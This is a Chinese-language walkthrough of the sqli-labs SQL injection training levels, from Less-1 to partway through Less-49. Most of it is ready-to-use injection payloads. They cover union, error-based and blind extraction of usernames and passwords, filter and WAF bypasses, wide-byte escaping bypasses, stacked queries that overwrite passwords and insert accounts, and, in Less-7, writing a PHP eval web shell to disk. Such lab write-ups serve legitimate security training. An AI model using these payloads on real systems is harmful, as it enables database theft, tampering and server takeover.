sql-labs通关
less 1—单引号字符型注入字符型注入,单引号通过随机输入id得知用户名和密码,网址后面接?id=1判断 Sql 注入漏洞的类型:1.数字型 2.字符型用 and 1=1 和 and 1=2 来判断:1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。2.Url 地址中继续输入 http://xxx/abc.php?id=
less 1—单引号字符型注入
字符型注入,单引号
通过随机输入id得知用户名和密码,网址后面接?id=1
判断 Sql 注入漏洞的类型:1.数字型 2.字符型
用 and 1=1 和 and 1=2 来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 ,页面运行错误,则说明此 Sql 注入为数字型注入。
页面显示正常,说明不是数字型注入漏洞
判断注入点
?id=1' and 1=1--+
将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入
判断列数
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
?id=1' order by 4--+
列数为3(4报错)
判断数据显示位置
?id=0' union select 1,2,3--+
然后便可以插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
?id=-1' union select 1,2,database()--+
查询所有的库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询所有的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找security数据库的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
Less-2—整型注入
判断注入点
?id=1 and 1=1--+
将1=1换成1=2,不显示信息,不报错。
判断列数
?id=1 order by 1
?id=1 order by 2
?id=1 order by 3
?id=1 order by 4
列数为3(4报错)
判断数据显示位置
?id=0 union select 1,2,3
然后便可以插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
?id=0 union select 1,database(),database()
查询所有的表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')
查看user表中的列名
?id=0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
查看user表中的username这一列的值
?id=0 union select 1,(select group_concat(username) from users),(select group_concat(username) from users)
查看user表中的密码这一列的值
?id=0 union select 1,(select group_concat(password) from users),(select group_concat(password) from users)
Less-3
用?id=1 and1=2判断是否是数字型注入,执行后页面正常,说明不是数字型注入
输入?id=1' 后报错,说明不是通过“ ’ ”来加密,那么我们可以多进行几次尝试,用“ )”尝试
查看源代码
id被()和 ‘’ 加密,应该加 ')
判断列数
?id=89 ') order by 1--+
?id=89 ') order by 4--+
查询显示位
?id=89 ') union select 1,2,3--+
获取表名
?id=89 ') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
获取列名
?id=89 ') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+
获取用户名
?id=89 ') union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+
获取密码
?id=89 ') union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+
Less-4
查看源代码,代码对$id进行了处理,加入了双引号
在url上加入”)
查询显示位
?id=0") union select 1,2,3--+
获取数据库
?id=0") union select 1,2,database()--+
获取用户名
?id=0") union select 1,(select group_concat(username) from users),(select group_concat(username) from users)--+
获取密码
?id=0") union select 1,(select group_concat(password) from users),(select group_concat(password) from users)--+
Less-5
id是用单引号''
包裹的,双查询注入
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
通过报错来显示数据库
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过报错来显示表名
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出列名
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出用户名
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
?id=1' union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出密码
?id=1' union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
Less-6
输入id值
?id=1
双引号字符型注入
获取数据库名
?id=1" union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取表名
?id=1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取列名
?id=1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取用户名
?id=1"union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取密码
?id=1" union select 1, count(*), concat((select password from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
Less-7—导出文件字符型注入
?id=1
查询结果不回显
?id=1'
发现本关不会显示具体的sql语法问题
?id=-1
发现页面回显和上图是一样的。所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同
需要使用蚁剑
在phpstudy目录中添加文件
添加php一句话木马在www文件下。修改后缀为php。
打开中国蚁剑,添加数据
写入一句话木马程序
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into outfile 'D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.php'--+
进入中国蚁剑,添加数据
点击测试连接,双击ip地址即可获取网站的webshell,即可通关
Less-8
?id=1
页面正常,加引号判断
?id=1'
当我们加入注释符–+后,页面显示正常,我们可以同第五关的办法进行通关。
?id=1' and length(database())=8 --+
页面正常显示,说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
然后b.c.d一直到s页面报错说明第一位为s
然后判断前两位是否大于'sa':
?id=1'and left(database(),2)>'sa'--+
以此类推.......可以使用二分法提高效率
然后猜解表名(ascii)
第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+
第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+
继续猜解指定表下的列名(regexp注入)
users表下的列名?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 猜users表下是否存在有us[a-z]]样式的列名
Less-9
?id=1' --+
?id=1' and '1'=1 --+
?id=1' and '1'=2 --+
?id=1' order by 4--+
使用时间盲注,类似于Less-8
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-10
?id=1" --+
?id=1" and '1'=1 --+
?id=1" and '1'=2 --+
?id=1" order by 4--+
使用时间盲注,类似于Less-8
?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
?id=1" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
Less-11
进行post注入
先判断注入点,Username输入admin',报错,admin'# ,页面正常。说明有' '对参数包装
我们用burp抓一下包
发送到重发器后进行sql注入,流程与get提交是一样的,先进行字段猜解
查看可显字段
开始爆数据
Less-12—双引号POST型字符型变形的注入
与Less-11相似
跟第十一关的区别就是采用了双引号加括号包装参数,admin")#
爆破数据库
?id=-1") union select 1,database() #
爆破数据表
?id=-1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
爆破users表的列
?id=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
爆破用户名和密码
?id=-1") union select 1,group_concat(username,':',password) from users #
Less-13—POST单引号变形双注入
本关用 ') 对Username和 Password进行处理,但是没有显示登录信息,只显示是否登录成功。
没有回显所以用报错注入。抓包后,注入
uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' ),0x7e),1)#&passwd=admin&submit=Submit
用上述语句直接扫描表名时,会有如下提示
因为updatexml()报错注入的输出字符长度是32个字符,这里超了,所以直接在后面加上limit就好了
uname=admin') and updatexml(1, concat(0x7e,(select distinct concat(0x7e,(select table_name),0x7e)from information_schema.tables where table_schema='security' limit 0,1 ),0x7e),1)#&passwd=admin&submit=Submit
Less-14—POST单引号变形双注入
用双引号对参数进行了包装
直接进行测试,输入username:admin"
报错了,了id进行了 " 的操作。
这里和less13一样,主要是熟悉利用盲注。
简单列一下payload:
uname=admin"and left(database(),1)>'a'#&passwd=1&submit=Submit
可以登录成功。
在利用一下报错注入
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit
可以看到报错了,显示版本信息。
Less-15
盲注 - 基于布尔值 - 字符串
怎么输入都没有回显,时间延迟
布尔测试payload
登陆成功
uname=admin' and 1=1 --+&passwd=admin&submit=Submit
登录失败
uname=admin' and 1=2 --+&passwd=admin&submit=Submit
时间延迟测试payload
uname=admin' and sleep(5) --+&passwd=admin&submit=Submit
明显延迟,确定使用延迟注入
爆库,爆表,爆列名,爆值
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
Less-16基于bool型/时间延迟的双引号POST型盲注
时间延迟注入
payload和less-15差不多,只需要把上一题正的单引号改为双引号加括号 ") 就可以了
爆库,爆表,爆列名,爆值
uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin") and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
Less-17基于错误的更新查询POST注入
php文件对uname做了check_input的处理,只截取15个字符
针对password爆破:
爆库payload
爆表名payload
爆列名payload
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit
最终payload:
uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit
注入完成
Less-18
抓包修改user-agent为一下payload就可以了
测试爆库payload
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
payload可以参看,less-12 双引号报错型注入,只需要把双引号改为单引号就可以作为本题的payload
爆库payload
uname=admin' and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit
爆表payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit
爆列payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit
同样使用not in查询没有显示出的其他值。
爆值payload
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit
Less-19
爆破数据库
'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'
爆破数据表
'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or'
爆破列
'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) or'
查询有关数据
' or (updatexml(1,concat(0x7e,(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1),0x7e),1)) or '
Less-20
单引号,报错型,cookie型注入。
登录后页面:
可以看到查询语句查询了cookee,那我们就在cookies里面进行注入
抓包看一下:
cookie注入
爆库payload
Cookie: uname=-admin' union select 1,2,database()--+
爆破成功。
Less-21
admin登录
我们发现cookie变为了base64编码的,但是却可以正常显示,那么我们将上一关的payload base64编码试试
查看源码,发现,这里进行了base64的加密,
解码同时,使用了(‘’)单引号,
成功回显,
Less-22
根据题目,我们加入双引号,base后,发现报错,进而可以更加确定,
根据源码我们发现,使用双引号我们可以完成闭合,
"SELECT * FROM users WHERE username=-admin" union select 1,2,database()# LIMIT 0,1"
相当于之后的注释掉,然后,查询之前的,union语句
Less-23
看到替换了能用的注释符,所以我们构造闭合语句:
爆库payload
?id=' union select 1,2,database() '
爆表payload
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名payload
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆值payload
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
注入完成。
Less-24
二次注入
我们的步骤是
1.注册一个admin'#的账号。
2.登录admin'#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。
Sql语句变为UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是执行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
成功的话跳转页面会提示Password successfully updated
3.用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。
注入结束。
Less-25
OR & AND 欺骗
判断显示位
?id=-1' union select 1,2,3--+
爆破数据库
?id=-1' union select 1,2,database()--+
爆破数据表
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破列
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码
?id=-1' union select 1,2,group_concat(username,':',passwoorrd) from users --+
Less-25a
与Less-25类似,只是没有单引号
爆破数据库
?id=-1 union select 1,2,database() --+
爆破数据表
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+
爆破列
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+
爆破用户名和密码
?id=-1 union select 1,2,group_concat(username,':',passwoorrd) from users --+
Less-26
评论欺骗
可以看到function blacklist($id) 来了个过滤全家桶,$id 周围是单引号,过滤了 or,and , /* , – , # , 空格 , /
- 过滤 or 和 and:可以用 && 和 || 替换或者采用双写的方式绕过
- 过滤空格:可以用下表的字符进行替换
将空格,or,and,/*,#,--,/等各种符号过滤
使用url编码绕过
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
表名:
?id=1'%26%26extractvalue(1,concat(0x7e,(select%a0 group_concat(table_name)%a0from %a0infoorrmation_schema.tables %a0where%a0 table_schema=database()),0x7e))%26%26'1
列名:
?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1
值:
?id=0'%a0union%a0select%a01,group_concat(username,passwoorrd),3%a0from%a0users%a0where%a0'1%27='1
?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
Less-26a
这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。
sql语句为 SELECT * FROM users WHERE id=('$id') LIMIT 0,1
查数据库名
?id=100')%0bunion%0bselect%0b1,database(),3%0b||('1')=('1
查表名
?id=100')%0bunion%0bselect%0b1,group_concat(table_name),3%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26('1')=('1
查字段名
?id=100')%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%26%26('1')=('1
查数据
?id=100')%0bunion%0bselect%0b1,group_concat(passwoorrd),3%0bfrom%0busers%0bwhere%0b('1')=('1
Less-27
单引号,空格,关键字,都是过滤的,但是大小写可以突破的
看下源码
爆破数据库
?id=-1'||updatexml(1,concat(0x7e,(sElect(database())),0x7e),1)||'1'='1
爆破数据表
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
爆破列
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1
爆破用户名和密码
?id=-1'||updatexml(1,concat(0x7e,(sElect(group_concat(username,':',password))from(users)),0x7e),1)||'1'='1
Less-27a
查数据库
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),"3
查表名:
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0"1"%a0="1
查字段名
?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%26%26%a0"1"%a0="1
查数据
?id=-1"%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,"3"="3
Less-28
过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入
爆破数据库
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
爆破数据表
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆破users表的列
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆破用户名和密码
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
Less-28a
与Less-28步骤相同
爆破数据库
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,database();%00
爆破数据表
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆破users表的列
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆破用户名和密码
?id=a')%0aunion%0aunion%0aselectselect%0a1,2,group_concat(username,':',password)%0afrom%0ausers;%00
Less-29
用WAF防护
WAF防护是其中之一的功能,WAF主要防护的是来自对网站源站的动态数据攻击,可防护的攻击类型包括SQL注入、XSS攻击、CSRF攻击、恶意爬虫、扫描器、远程文件包含等攻击。
测试:输入双引号正常,输入一个引号发生错误,两个引号正常
那么语句可能是 select * from users where id='xx' limit 1,1
尝试注入payload:
?id=-1' union select 1,2,database()--+
库爆出来了,后面步骤一样
爆破数据表
?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密
?id=1&id=-1' union select 1,group_concat(username,':',password),3 from users --+
Less-30
与上一关类似,单引号变为双引号
爆破数据表
?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1" union select 1,group_concat(username,':',password),3 from users --+
Less-31
用WAF防护
双引号加括号绕过
爆破数据表
?id=1&id=-1") union select 1,2,database() --+
爆破数据表
?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
爆破users表的列
?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆破用户名和密码
?id=1&id=-1") union select 1,group_concat(username,':',password),3 from users --+
Less-32
绕过 addslashes()
宽字节绕过引号转义
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:
原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用,库。
样例payload
?id=-1%E6' union select 1,version(),database() --+
将单引号和双引号都进行了转义
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
Less-33
绕过 addslashes()
和上一题一样的,payload都不用改
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
Less-34
绕过添加斜杠
post方式,抓包提交。
样例payload
uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit
爆列名的时候要注意'users'的转义。
爆破数据库
汉' union select 1,database() #
爆破数据表
汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #
爆破users表的列
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) #
爆破用户名和密码
汉' union select 1,(select group_concat(username,0x3a,password) from users) #
Less-35
测试payload:
?id=1'
id周围没有单引号或双引号,
样例payload
?id=-1 union select 1,version(),database()--+
判断显示位
?id=-1 union select 1,2,3 --+
爆破数据库
?id=-1 union select 1,2,database() --+
爆破数据表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆破users表的列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1 union select 1,2,(select group_concat(username,0x3a,password) from users) #
Less-36
闭合方式:id='$id'
关键词:绕过 mysql_real_escape_string 函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
mysql_real_escape_string 函数类似 addslashes 函数,会对反斜杠、单引号、双引号进行检测并添加转义字符,所以方法和 less-34 一样
爆破数据库
?id=-1%df' union select 1,2,database() --+
爆破数据表
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database()) --+
爆破列
?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) --+
爆破用户名和密码
?id=-1%df' union select 1,2,(select group_concat(username,0x3a,password) from users)--+
Less-37
MySQL_real_escape_string
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
同less-34
爆破数据库
汉' union select 1,database() #
爆破数据表
汉' union select 1,table_name from information_schema.tables where table_schema= database() limit 3,1 #
爆破users表的列
汉' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 3,1) #
爆破用户名和密码
汉' union select 1,(select group_concat(username,0x3a,password) from users) #
Less-38
堆叠注入
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
我们正常查询,因为是堆叠注入,那么我们使用分号,来执行两条命令,我们修改dumb的密码试试
?id=1';update users set password = "12345" where username ='Dumb';--+
使用单引号将1闭合,
?id=1
修改成功$sql="SELECT * FROM users WHERE id='1';update users set password='12345' where username='Dumb' ;--+' LIMIT 0,1";
Less-39
堆叠注入
和38一样,堆叠注入,只不过将id参数包裹引号去掉罢了。
?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+
执行成功
Less-40
这关关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确
?id=1') --+
执行成功,使用1’)来闭合
?id=1');update users set password='5555' where username ='Dumb'; --+
我们再次修改dumb的密码
?id=1
成功
Less-41
堆叠注入
可使用延时注入
库名:
?id=0 union select 1,version(),database() %23
表名:
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
值:
?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
Less-42
对username进行了过滤,但是password没有改变
爆破数据表
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆破users中的列
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
爆破用户名和密码
' union select 1,group_concat(username,':',password),2 from users #
Less-43
闭合方式为')
爆破数据表
') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
爆破users中的列
') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #
爆破用户名和密码
') union select 1,group_concat(username,':',password),2 from users #
Less-44
使用时间盲注
' union select 1,group_concat(username,':',password),2 from users #
';insert into users(id,username,password)values(100,'721721','127'); #
Less-45
与44相同,只是闭合方式改为')
') union select 1,group_concat(username,':',password),2 from users #
');insert into users(id,username,password)values(100,'721721','127127'); #
Less46
Order by注入,利用报错注入可以爆出数据库信息
爆库:
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
爆表:
?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));
爆字段:
?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));
爆值
?sort=1 and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));
Less47
和less46一样,是order by注入,这里需要用单引号闭合
爆库:?sort=1' and(updatexml(1,concat(0x7e,(select database())),0));--+
爆表:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));--+
爆字段:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));--+
爆值:?sort=1' and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));--+
Less48
Order by注入,数字型的时间盲注
判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+
爆库:?sort= 1 and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆表:?sort= 1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆字段:?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆值:?sort= 1 and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
Less49
和less48一样,利用时间盲注,不同的是这里是字符型的,需要用单引号闭合
判断名字长度:
?sort= 1 and if(length(database())>8,0,sleep(5))--+
暴库:
?sort= 1 ' and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆表:
?sort= 1 ' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆字段:
